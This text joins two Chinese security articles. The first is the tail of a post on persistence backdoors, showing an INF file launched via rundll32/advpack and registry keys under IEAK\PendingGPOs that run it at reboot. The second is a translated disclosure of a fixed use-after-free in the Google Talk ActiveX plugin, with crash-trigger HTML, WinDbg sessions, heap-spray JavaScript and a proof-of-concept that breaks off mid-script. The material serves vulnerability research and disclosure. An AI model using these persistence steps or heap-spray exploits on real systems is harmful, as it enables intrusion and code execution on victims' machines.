Signature="$CHICAGO$"
AdvancedINF=2.5,"test"
[DefaultInstall]
RunPreSetupCommands=Command1
[Command1]
C:\windows\system32\calc.exe
命令行下执行：
rundll32.exe advpack.dll,LaunchINFSection calc.inf,DefaultInstall
效果如下：
后门实现：
在注册表`HKEY_CURRENT_USER\Software\Microsoft\`处依次新建子项`\IEAK\GroupPolicy\PendingGPOs`，然后再新建几个键，如下：
1. 键：`Count`，类型：`REG_DWORD`，键值：`1`
2. 键：`Path1`，类型：`REG_SZ`，键值：`C:\Users\Administrator\Desktop\test\calc.inf` //这个为我们inf文件的路径，这里以上面那个inf文件例子为例
3. 键：`Section1`，类型：`REG_SZ`，键值：`DefaultInstall`
如下图所示：
重启电脑之后成功弹出计算器
但是重启之后`PendingGPOs`该项就会被清除，需要我们重新修改注册表
# 后记
以上就是我所总结后门持久化的所有内容了，当然还有很多方法没有在文章内提及，虽然有的方法都是老生常谈的了，但是还是在一些实战环境中屡试不爽，有一句话说的好（这句话忘记是哪位师傅说的了=。=）：
**知识面宽度决定攻击面广度，知识链深度决定攻击链的长度**
# Reference
<https://github.com/Ridter/Intranet_Penetration_Tips>
<https://paper.seebug.org/1007/>
<https://3gstudent.github.io/> | 社区文章 |
# 【漏洞分析】Google Hangouts ActiveX中的释放重引用漏洞
|
##### 译文声明
本文是翻译文章，文章来源：pwnanisec.blogspot.be
原文地址：<http://pwnanisec.blogspot.be/2017/02/use-after-free-in-google-hangouts.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：180RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**概要**
在2015年，我发现了Google Hangouts使用的“Google Talk ActiveX插件”中存在释放重引用漏洞。
ActiveX是站点锁定的，这意味着它只能被Google的白名单域调用。要利用这一点，攻击者需要在这些域上触发一个XSS错误。
该错误已报告给Google，此后已修复。
**ActiveX详细信息**
在IE上安装Google Hangouts时，系统会安装“Google Talk ActiveX Plugin”控件。这个控件由浏览器调用并导出5个方法。
dispinterface GTalkPluginInterface {
properties：
methods：
[id（0x60020000）]
void send（in in BSTR str）;
[id（0x60020001），propput]
void onmessage（[in] VARIANT * rhs）;
[id（0x60020002），propget]
BSTR version（）;
[id（0x60020003），propget]
BSTR wsconnectinfo（）;
[id（0x60020004）]
void wsconnectfailed（[in] int port）;
};
控件没有实现IObjectSafetySiteLock接口来将ActiveX锁定到某些域。
C:Program Files (x86)MicrosoftSiteLock 1.15>sitelist.exe {39125640-8D80-11DC-A2FE-C5C455D89593}
SiteList: Utility to dump domain list from a site-locked ActiveX control.
[1ff8] No bp log location saved, using default.
[000:000] [1ff8] Cpu: 6.58.9, x4, 2890Mhz, 8065MB
[000:000] [1ff8] Computer model: Not available
IObjectSafetySiteLock not implemented.
但是，测试显示ActiveX仅限于Google域。由于它不使用IObjectSafetySiteLock，我检查了它是否在Internet
Explorer中被注册为浏览器助手对象。这样它就可以接收navigation
事件。从调试和逆向应用程序来看，我注意到ActiveX注册为浏览器助手对象。它公开了IObjectWithSite接口,它会创建一个Internet
Explorer的连接点。通过这个，ActiveX可以获得正在使用的当前URL信息。
通过下面的C ++代码，我们创建对象的实例，并在IObjec tWithSite-> SetSite（）之前创建一个断点。
#include "stdafx.h"
#include "windows.h"
#include "OCIdl.h"
int _tmain(int argc, _TCHAR* argv[])
{
CoInitialize(NULL);
IUnknown *punk;
LPGUID pclsid;
HRESULT hr = NULL;
//{39125640-8D80-11DC-A2FE-C5 C4 55 D8 95 93}
static const GUID CLSID_GTALK = { 0x39125640, 0x8D80, 0x11DC, { 0xa2, 0xfe, 0xc5, 0xc4, 0x55, 0xd8, 0x95, 0x93 } };
if (FAILED(hr))
printf("error");
hr = CoCreateInstance(CLSID_GTALK, NULL, CLSCTX_SERVER,
IID_IUnknown, (void **)&punk);
if (FAILED(hr))
printf("error");
// Ask the ActiveX object for the IDispatch interface.
IObjectWithSite *pOSite;
hr = punk->QueryInterface(IID_IObjectWithSite, (void **)&pOSite);
if (FAILED(hr))
printf("error");
__asm
{
int 3;
}
//pOSite->GetSite( CLSID_GTALK, NULL);
pOSite->SetSite(NULL);
return 0;
}
然后我们可以使用调试器来步入函数并获取其地址。然后我们在Internet Explorer中断此地址，并使用HTML代码加载和调用控件。
控件实现SetSite，它由IE传递的一个对象调用。下面的代码是实现的一部分。URL由ECX参数传递。
0:007> u 5ca85c51
googletalkax+0x5c51:
5ca85c51 51 push ecx
5ca85c52 50 push eax
5ca85c53 e8d88f0000 call googletalkax!DllUnregisterServer+0x39e0 (5ca8ec30)
5ca85c58 8bd8 mov ebx,eax
5ca85c5a 83c408 add esp,8
5ca85c5d 85db test ebx,ebx
5ca85c5f 7465 je googletalkax+0x5cc6 (5ca85cc6)
5ca85c61 8b4e40 mov ecx,dword ptr [esi+40h]
0:007> da poi(ecx)
1123efc0 "http://localhost:9000/testgoogle"
1123efe0 "talkactivexplugin.html"
通过该功能的深入了解，我们可以找到将当前域与列入白名单的域进行比较的代码。
.text:5CA8CA20 cmp [ebp+var_8], 10h
.text:5CA8CA24 lea eax, [ebp+var_1C] ; holds the current domain name
.text:5CA8CA27 push dword ptr [esi] ; holds whitelisted domain
.text:5CA8CA29 cmovnb eax, [ebp+var_1C]
.text:5CA8CA2D push eax
.text:5CA8CA2E call sub_5CA957C0
.text:5CA8CA33 add esp, 8
.text:5CA8CA36 test al, al
.text:5CA8CA38 jnz loc_5CA8CB37
.text:5CA8CA3E add esi, 4
.text:5CA8CA41 cmp esi, offset aHostedtalkgadg ; "*hostedtalkgadget.google.com"
.text:5CA8CA47 jl short loc_5CA8CA20
我们可以在调试器中使用断点来显示所有列入白名单的域。
0:005> bl
0 e 5ca8ca2e 0001 (0001) 0:**** googletalkax!DllUnregisterServer+0x17de "da poi(esp+4);g"
0:005> g
5cace2c4 "*hostedtalkgadget.google.com"
5cace2e4 "*mail.google.com"
5cace2f8 "*plus.google.com"
5cace30c "*plus.sandbox.google.com"
5cace328 "*talk.google.com"
5cace33c "*talkgadget.google.com"
以下是函数中另一条不会被命中的代码路径。此代码需要在控件中设置“ plugin_enable_corp_host
”标记。这可能是由Google内部使用。然后对其他主机执行其他检查。
.text:5CA8CA9F push offset a_corp_google_c ; "*.corp.google.com"
.text:5CA8CAA4 cmovnb eax, [ebp+var_1C]
.text:5CA8CAA8 push eax
.text:5CA8CAA9 call sub_5CA957C0
.text:5CA8CAAE add esp, 8
.text:5CA8CAB1 test al, al
.text:5CA8CAB3 jnz short loc_5CA8CB0C
.text:5CA8CAB5 cmp [ebp+var_8], 10h
.text:5CA8CAB9 lea eax, [ebp+var_1C]
.text:5CA8CABC push offset a_prod_google_c ; "*.prod.google.com"
.text:5CA8CAC1 cmovnb eax, [ebp+var_1C]
.text:5CA8CAC5 push eax
.text:5CA8CAC6 call sub_5CA957C0
.text:5CA8CACB add esp, 8
.text:5CA8CACE test al, al
.text:5CA8CAD0 jnz short loc_5CA8CB0C
.text:5CA8CAD2 cmp [ebp+var_8], 10h
.text:5CA8CAD6 lea eax, [ebp+var_1C]
.text:5CA8CAD9 push offset a_googlegoro_co ; "*.googlegoro.com"
.text:5CA8CADE cmovnb eax, [ebp+var_1C]
.text:5CA8CAE2 push eax
.text:5CA8CAE3 call sub_5CA957C0
.text:5CA8CAE8 add esp, 8
.text:5CA8CAEB test al, al
.text:5CA8CAED jnz short loc_5CA8CB0C
.text:5CA8CAEF cmp [ebp+var_8], 10h
.text:5CA8CAF3 lea eax, [ebp+var_1C]
.text:5CA8CAF6 push offset a_googleplex_co ; "*.googleplex.com"
.text:5CA8CAFB cmovnb eax, [ebp+var_1C]
.text:5CA8CAFF push eax
.text:5CA8CB00 call sub_5CA957C0
corp.google.com和googleplex.com返回登录提示，似乎仅供Google员工使用。
prod.google.com是一个不存在的域，可能是一个内部域。
**如何触发bug**
“onmessage”函数接收一个VARIANT，该VARIANT需要一个JavaScript回调函数，该函数由控件调用。这可以通过以下代码测试。
<html>
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
<script>
sdr.onmessage = sdrcallback;
function sdrcallback(){
alert("callback function is called");
}
</script>
</html>
ActiveX控件中的回调函数可能会触发释放重引用漏洞。如果控件在调用回调函数之前没有调用AddRef（），则会发生这种情况。回调函数拥有对控件的引用,但控件并没有考虑这种情况。
我通过创建一个将删除控件的回调函数来测试这个场景。
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<script>
sdr.onmessage = sdrcallback;
function sdrcallback(){
alert("callback function is called");
//delete div
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
}
</script>
<body>
sdr
</body>
bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"
</html>
我在调试器中遇到以下崩溃。
(13b4.24a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:UsersSeanAppDataLocalGoogleGoogle Talk Plugingoogletalkax.dll -
eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0
eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????
EDI寄存器指向无效的内存。
0:008> r
eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0
eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????
0:008> dd edi
407a2fb0 ???????? ???????? ???????? ????????
407a2fc0 ???????? ???????? ???????? ????????
407a2fd0 ???????? ???????? ???????? ????????
407a2fe0 ???????? ???????? ???????? ????????
407a2ff0 ???????? ???????? ???????? ????????
407a3000 ???????? ???????? ???????? ????????
407a3010 ???????? ???????? ???????? ????????
407a3020 ???????? ???????? ???????? ????????
进一步的分析表明，它指向已释放的内存。
0:008> !heap -p -a edi
address 407a2fb0 found in
_DPH_HEAP_ROOT @ 161000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
40751ccc: 407a2000 2000
51f990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77691564 ntdll!RtlDebugFreeHeap+0x0000002f
7764ac29 ntdll!RtlpFreeHeap+0x0000005d
775f34a2 ntdll!RtlFreeHeap+0x00000142
75f514ad kernel32!HeapFree+0x00000014
13e88310 googletalkax!DllUnregisterServer+0x0001d9f0
13e6e407 googletalkax!DllUnregisterServer+0x00003ae7
13e6218a googletalkax+0x0000218a
13e6572f googletalkax+0x0000572f
61d0fe01 +0x0000001d
61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc
61d0d8ee MSHTML!CTxtSite::Release+0x0000001a
61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f
5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023
5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134
5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0
5e659750 jscript9!Recycler::DisposeObjects+0x0000004a
5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a
5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087
5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026
5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b
5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad
5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079
5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b
5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940
5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce
**测试利用**
下一步是检查错误的可利用性。我们需要用自己分配的内存替换释放的内存，看看数据是如何处理的，以测试它可以执行代码。
我用.dvalloc（<https://msdn.microsoft.com/en-us/library/windows/hardware/ff562434%28v=vs.85%29.aspx> ）来实现这一点。
我们看下面的代码，我们可以看到有一个路径导致代码执行。edi +
1ch指向的已释放内存放入EAX寄存器中。然后引用此内存，并将eax指向的数据放入ESI寄存器中。然后有一些其他操作和函数调用，之后调用ESI + 4。
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch]
13e70ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=????????
13e70caa 8d850cffffff lea eax,[ebp-0F4h]
13e70cb0 50 push eax
13e70cb1 8d45e4 lea eax,[ebp-1Ch]
13e70cb4 50 push eax
13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30)
13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch]
13e70cbd 83c408 add esp,8
13e70cc0 50 push eax
13e70cc1 ff5604 call dword ptr [esi+4]
我们需要确保函数调用不会改变ESI寄存器的值，以确保我们有一条代码执行的路径。下面的windbg会话显示我如何分配新的内存来替换释放的内存，并通过这段代码来确保这个路径可以执行代码。
(11cc.2728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:UsersSeanAppDataLocalGoogleGoogle Talk Plugingoogletalkax.dll -
eax=00000001 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=111e2fb0
eip=59d80ca5 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
googletalkax!DllUnregisterServer+0x6385:
59d80ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:111e2fcc=????????
0:008> .dvalloc 2000h
Allocated 2000 bytes starting at 0c690000
0:008> r @edi = 0c690000
0:008> dd edi+1c
0c69001c 00000000 00000000 00000000 00000000
0c69002c 00000000 00000000 00000000 00000000
0c69003c 00000000 00000000 00000000 00000000
0c69004c 00000000 00000000 00000000 00000000
0c69005c 00000000 00000000 00000000 00000000
0c69006c 00000000 00000000 00000000 00000000
0c69007c 00000000 00000000 00000000 00000000
0c69008c 00000000 00000000 00000000 00000000
0:008> p
eax=00000000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80ca8 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6388:
59d80ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=????????
0:008> .dvalloc 200
Allocated 1000 bytes starting at 0cbd0000
0:008> r @eax = 0cbd0000
0:008> dd eax
0cbd0000 00000000 00000000 00000000 00000000
0cbd0010 00000000 00000000 00000000 00000000
0cbd0020 00000000 00000000 00000000 00000000
0cbd0030 00000000 00000000 00000000 00000000
0cbd0040 00000000 00000000 00000000 00000000
0cbd0050 00000000 00000000 00000000 00000000
0cbd0060 00000000 00000000 00000000 00000000
0cbd0070 00000000 00000000 00000000 00000000
0:008> p
eax=0cbd0000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80caa esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x638a:
59d80caa 8d850cffffff lea eax,[ebp-0F4h]
0:008> p
eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6390:
59d80cb0 50 push eax
0:008> p
eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6391:
59d80cb1 8d45e4 lea eax,[ebp-1Ch]
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb4 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6394:
59d80cb4 50 push eax
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb5 esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6395:
59d80cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (59d89b30)
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cba esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x639a:
59d80cba 8b4f1c mov ecx,dword ptr [edi+1Ch] ds:002b:0c69001c=00000000
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cbd esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x639d:
59d80cbd 83c408 add esp,8
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cc0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
googletalkax!DllUnregisterServer+0x63a0:
59d80cc0 50 push eax
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cc1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
googletalkax!DllUnregisterServer+0x63a1:
59d80cc1 ff5604 call dword ptr [esi+4] ds:002b:00000004=????????
0:008> p
(11cc.2728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
这表明，如果我们可以将释放的内存替换为我们自己分配的内存，我们可以把它转换为代码执行。
**堆分配分析**
在Gflags.exe中，我们启用“Create User Mode Stack Trace Database”。
我们需要在同一堆上分配相同块大小的内存，以便将其变成可利用的条件。首先，我们确定这个释放的内存分配在什么堆上。
我创建了以下HTML来通过IE在默认堆上喷射一些可控数据。
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<script>
function sdrcallback(){
alert("callback function is called");
//delete div
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
alert(sdr);
}
//javapscript heap spray to see if we are on same heap as activeX
var seanstring = "seansea"+"n7aaaaaaaaa"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//s -u 0x00000000 L?0xffffffff seansean7
sdr.onmessage = sdrcallback;
</script>
<body></html>
我使用windbg来查看它分配的堆。
(1348.18dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:UsersSeanAppDataLocalGoogleGoogle Talk Plugingoogletalkax.dll -
eax=00000001 ebx=00000001 ecx=d215f8bc edx=00461078 esi=00000000 edi=3dc19fb0
eip=14d10ca5 esp=09b3bf10 ebp=09b3c024 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
14d10ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:3dc19fcc=????????
0:007> !heap -p -a edi
address 3dc19fb0 found in
_DPH_HEAP_ROOT @ 461000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
3dbe1ac4: 3dc19000 2000
5f8290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77691564 ntdll!RtlDebugFreeHeap+0x0000002f
7764ac29 ntdll!RtlpFreeHeap+0x0000005d
775f34a2 ntdll!RtlFreeHeap+0x00000142
75f514ad kernel32!HeapFree+0x00000014
14d28310 googletalkax!DllUnregisterServer+0x0001d9f0
14d0e407 googletalkax!DllUnregisterServer+0x00003ae7
14d0218a googletalkax+0x0000218a
14d0572f googletalkax+0x0000572f
61d0fe01 +0x0000001d
61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc
61d0d8ee MSHTML!CTxtSite::Release+0x0000001a
61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f
5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023
5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134
5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0
5e659750 jscript9!Recycler::DisposeObjects+0x0000004a
5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a
5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087
5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026
5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b
5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad
5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079
5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b
5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940
5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce
0:007> s -u 0x00000000 L?0xffffffff seansean7
0eebafa6 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
29e66f96 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
4b6c6f02 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
79700c0a 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
0:007> !heap -p -a 0eebafa6
address 0eebafa6 found in
_DPH_HEAP_ROOT @ 461000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
eec0208: eeba7f0 80c - eeba000 2000
5f828e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77690d96 ntdll!RtlDebugAllocateHeap+0x00000030
7764af0d ntdll!RtlpAllocateHeap+0x000000c4
775f3cfe ntdll!RtlAllocateHeap+0x0000023a
61df38ff MSHTML!CHtmRootParseCtx::NailDownChain+0x000004ba
61de7c59 MSHTML!CHtmRootParseCtx::EndElement+0x00000119
61de7b27 MSHTML!CHtmRootParseCtxRouter::EndElement+0x00000017
61dee7b2 MSHTML!CHtml5TreeConstructor::PopElement+0x000000b7
61f896b5 MSHTML!CTextInsertionMode::DefaultEndElementHandler+0x00000035
620fc85b MSHTML!CInsertionMode::HandleEndElementToken+0x0000003d
61df17f5 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026
61df16c8 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5
61f891f8 MSHTML!CHtml5Tokenizer::EmitElementToken+0x00000067
61f8a243 MSHTML!CHtml5Tokenizer::RCDATAEndTagName_StateHandler+0x000003bf
61deeec5 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c
61def19b MSHTML!CHtml5Parse::ParseToken+0x00000131
61dee707 MSHTML!CHtmPost::ProcessTokens+0x000006af
61de7f32 MSHTML!CHtmPost::Exec+0x000001e4
620b9a78 MSHTML!CHtmPost::Run+0x0000003d
620b99de MSHTML!PostManExecute+0x00000061
620c1e04 MSHTML!PostManResume+0x0000007b
61e4d397 MSHTML!CDwnChan::OnMethodCall+0x0000003e
61d0e101 MSHTML!GlobalWndOnMethodCall+0x0000016d
61d0db16 MSHTML!GlobalWndProc+0x000002e5
751262fa user32!InternalCallWinProc+0x00000023
75126d3a user32!UserCallWinProcCheckWow+0x00000109
751277c4 user32!DispatchMessageWorker+0x000003bc
7512788a user32!DispatchMessageW+0x0000000f
6366f668 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
636a25b8 IEFRAME!LCIETab_ThreadProc+0x0000037b
7531d6fc iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
5f893991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
我们现在知道，ActiveX控件和Javascript使用相同的Heap，这是一个好消息。
**确定分配大小**
现在我们已经确认控件和JavaScript使用相同的堆，我们需要确定释放对象的分配大小。
为此，我们需要禁用所有gflags设置，除了usermode stack dbs。
我们还需要在它崩溃的地址下断点。
bu googletalkax！DllUnregisterServer + 0x6385“！heap -p -a edi; g”
70760ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:078f8a44=a48a8f07
0:005> !heap -p -a edi
address 078f8a28 found in
_HEAP @ 730000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
078f8a10 000d 0000 [00] 078f8a28 00050 - (busy)
? googletalkax!DllUnregisterServer+43db0
从这里我们可以看到释放的对象的大小是0x50字节。
**堆喷射**
下一步是在与对象交互之前,使用堆喷射来覆盖已被释放的内存。为此，我们首先在Internet
Explorer中初始化低碎片堆。我们申请分配大量相同大小的块来进行堆喷射。
我们通过以下JavaScript函数来实现。这将创建一个0x50字节的子字符串,减去用于BSTR对象的4字节对象头，减去unicode字符串的2个终止NULL字节。因为该值存储为Unicode字符串，所以此值将除以2。最后,字符串将在内存中保持正确的0x50字节。
var largechunk = unescape("sean3");
var spray = new Array();
function dospray()
{
while (largechunk.length < 0x10000) largechunk += largechunk;
for (var i = 0; i < 0x200; i++)
{
spray[i] = largechunk.substring(0,(0x50-6)/2);
}
}
我们可以使用Corelan的DEPS喷射技术来实现精准的喷射。
（<https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/> ）。
这将喷射堆，并在0x20302228内存地址保存我们的数据。
function corelan_deps_spray()
{
var div_container = document.getElementById("corelanspraydiv");
div_container.style.cssText = "display:none";
junk = unescape("%u615d%u6161");
while (junk.length < 0x80000) junk += junk;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = junk;
div_container.appendChild(obj);
}
}
**概念证明**
有了这些信息，我们可以创建下面的概念验证代码，它将在我们选择的地址进行执行。
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<div id="corelanspraydiv"></div>
<script>
var largechunk = unescape("%u2030%u2228");
var spray = new Array();
function dospray()
{
while (largechunk.length < 0x10000) largechunk += largechunk;
for (var i = 0; i < 0x200; i++)
{
spray[i] = largechunk.substring(0,(0x50-6)/2);
}
}
function corelan_deps_spray()
{
var div_container = document.getElementById("corelanspraydiv");
div_container.style.cssText = "display:none";
junk = unescape("%u615d%u6161");
while (junk.length < 0x80000) junk += junk;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = junk;
div_container.appendChild(obj);
}
}
function sdrcallback(){
//alert("callback function is called!"); //use this to attach debugger and bu googletalkax!DllUnregisterServer+0x6385
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
//spray the heap with 0x50 size objects, this will overwrite the freed chunk
dospray();
//interact with the object
var ver = sdr.version;
sdr.send("sean");
}
//prime the lfh heap
